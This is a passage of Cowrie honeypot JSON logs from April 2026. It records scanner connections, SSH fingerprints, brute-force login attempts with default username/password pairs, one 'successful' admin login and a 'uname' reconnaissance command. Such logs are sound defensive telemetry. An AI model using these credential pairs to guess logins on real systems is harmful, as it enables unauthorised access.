a2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:01.715635Z","src_ip":"192.109.200.78","session":"6980a2f74c9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.752853870391846,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:02.317337Z","src_ip":"103.176.85.233","session":"2156e8419f57","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user9","password":"user9","message":"login attempt [user9/user9] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:02.428634Z","src_ip":"192.109.200.78","session":"6980a2f74c9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.354369163513184,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:03.271681Z","src_ip":"103.176.85.233","session":"f8b7c83d120c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:03.517427Z","src_ip":"192.109.200.78","session":"6980a2f74c9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.250.199.120","src_port":52152,"dst_ip":"159.203.135.109","dst_port":23,"session":"45f755a8e1c3","protocol":"telnet","message":"New connection: 157.250.199.120:52152 (159.203.135.109:23) [session: 45f755a8e1c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:05.054732Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53878,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac98b6cfc222","protocol":"ssh","message":"New connection: 192.109.200.78:53878 (10.17.0.5:22) [session: ac98b6cfc222]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:05.998737Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:06.004282Z","src_ip":"192.109.200.78","session":"ac98b6cfc222","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:06.388906Z","src_ip":"192.109.200.78","session":"ac98b6cfc222","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123","message":"login attempt [admin/admin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:06.643004Z","src_ip":"192.109.200.78","session":"ac98b6cfc222","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:07.177619Z","src_ip":"192.109.200.78","session":"ac98b6cfc222","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:07.181570Z","src_ip":"192.109.200.78","session":"ac98b6cfc222","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.566587448120117,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:07.269017Z","src_ip":"34.125.158.14","session":"b8a11563af04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":48130,"dst_ip":"159.203.135.109","dst_port":22,"session":"671d137d9f90","protocol":"ssh","message":"New connection: 159.203.92.129:48130 (159.203.135.109:22) [session: 671d137d9f90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:07.385483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:07.390817Z","src_ip":"159.203.92.129","session":"671d137d9f90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:07.396488Z","src_ip":"159.203.92.129","session":"671d137d9f90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"PenisCucu22@","message":"login attempt [admin/PenisCucu22@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:07.415810Z","src_ip":"159.203.92.129","session":"671d137d9f90","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:07.579751Z","src_ip":"192.109.200.78","session":"ac98b6cfc222","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:07.584797Z","src_ip":"192.109.200.78","session":"ac98b6cfc222","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:08.425484Z","src_ip":"159.203.92.129","session":"671d137d9f90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.012295961380005,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:09.154324Z","src_ip":"69.60.120.238","session":"efee9fef5eea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.60.120.238","src_port":47718,"dst_ip":"159.203.135.109","dst_port":23,"session":"f478bafa15fc","protocol":"telnet","message":"New connection: 69.60.120.238:47718 (159.203.135.109:23) [session: f478bafa15fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:09.204268Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49170,"dst_ip":"10.17.0.5","dst_port":22,"session":"f68673e750b3","protocol":"ssh","message":"New connection: 192.109.200.78:49170 (10.17.0.5:22) [session: f68673e750b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:10.043793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:10.048417Z","src_ip":"192.109.200.78","session":"f68673e750b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:10.135938Z","src_ip":"192.109.200.78","session":"f68673e750b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gbase","password":"gbase","message":"login attempt [gbase/gbase] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:10.385562Z","src_ip":"192.109.200.78","session":"f68673e750b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:11.471769Z","src_ip":"192.109.200.78","session":"f68673e750b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.594753742218018,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:12.257893Z","src_ip":"139.59.95.121","session":"da8a2e07d13e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.42.229.203","src_port":38638,"dst_ip":"159.203.135.109","dst_port":23,"session":"46e984f19f1f","protocol":"telnet","message":"New connection: 5.42.229.203:38638 (159.203.135.109:23) [session: 46e984f19f1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:13.016944Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.42.229.203","src_port":38640,"dst_ip":"159.203.135.109","dst_port":23,"session":"907a486521e8","protocol":"telnet","message":"New connection: 5.42.229.203:38640 (159.203.135.109:23) [session: 907a486521e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:13.976904Z"}
{"eventid":"cowrie.session.closed","duration":31.01531720161438,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:14.114385Z","src_ip":"103.176.85.233","session":"906426d3a7ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49178,"dst_ip":"10.17.0.5","dst_port":22,"session":"5dcb07b974ed","protocol":"ssh","message":"New connection: 192.109.200.78:49178 (10.17.0.5:22) [session: 5dcb07b974ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:14.168232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:14.173171Z","src_ip":"192.109.200.78","session":"5dcb07b974ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.08446979522705,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:14.177038Z","src_ip":"103.176.85.233","session":"e92d3d350ce7","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:14.258681Z","src_ip":"192.109.200.78","session":"5dcb07b974ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"prakash","password":"prakash123","message":"login attempt [prakash/prakash123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:14.516675Z","src_ip":"192.109.200.78","session":"5dcb07b974ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:15.605882Z","src_ip":"192.109.200.78","session":"5dcb07b974ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.455376625061035,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:16.300747Z","src_ip":"103.176.85.233","session":"e867916ee59b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.654524326324463,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:17.161150Z","src_ip":"103.176.85.233","session":"ddaff309725b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.10342264175415,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:18.125945Z","src_ip":"103.176.85.233","session":"2c34619390ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36022,"dst_ip":"10.17.0.5","dst_port":22,"session":"92c0c8c10464","protocol":"ssh","message":"New connection: 192.109.200.78:36022 (10.17.0.5:22) [session: 92c0c8c10464]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:18.276284Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:18.284281Z","src_ip":"192.109.200.78","session":"92c0c8c10464","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:18.366390Z","src_ip":"192.109.200.78","session":"92c0c8c10464","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1","message":"login attempt [user/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:18.781829Z","src_ip":"192.109.200.78","session":"92c0c8c10464","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:19.866516Z","src_ip":"192.109.200.78","session":"92c0c8c10464","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36032,"dst_ip":"10.17.0.5","dst_port":22,"session":"78894c3a4d15","protocol":"ssh","message":"New connection: 192.109.200.78:36032 (10.17.0.5:22) [session: 78894c3a4d15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:22.538429Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:22.543250Z","src_ip":"192.109.200.78","session":"78894c3a4d15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:22.625827Z","src_ip":"192.109.200.78","session":"78894c3a4d15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2W3E4R","message":"login attempt [root/1Q2W3E4R] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:22.874062Z","src_ip":"192.109.200.78","session":"78894c3a4d15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:24.028494Z","src_ip":"192.109.200.78","session":"78894c3a4d15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.534101009368896,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:24.685807Z","src_ip":"69.60.120.238","session":"788202ee384f","protocol":"telnet"}
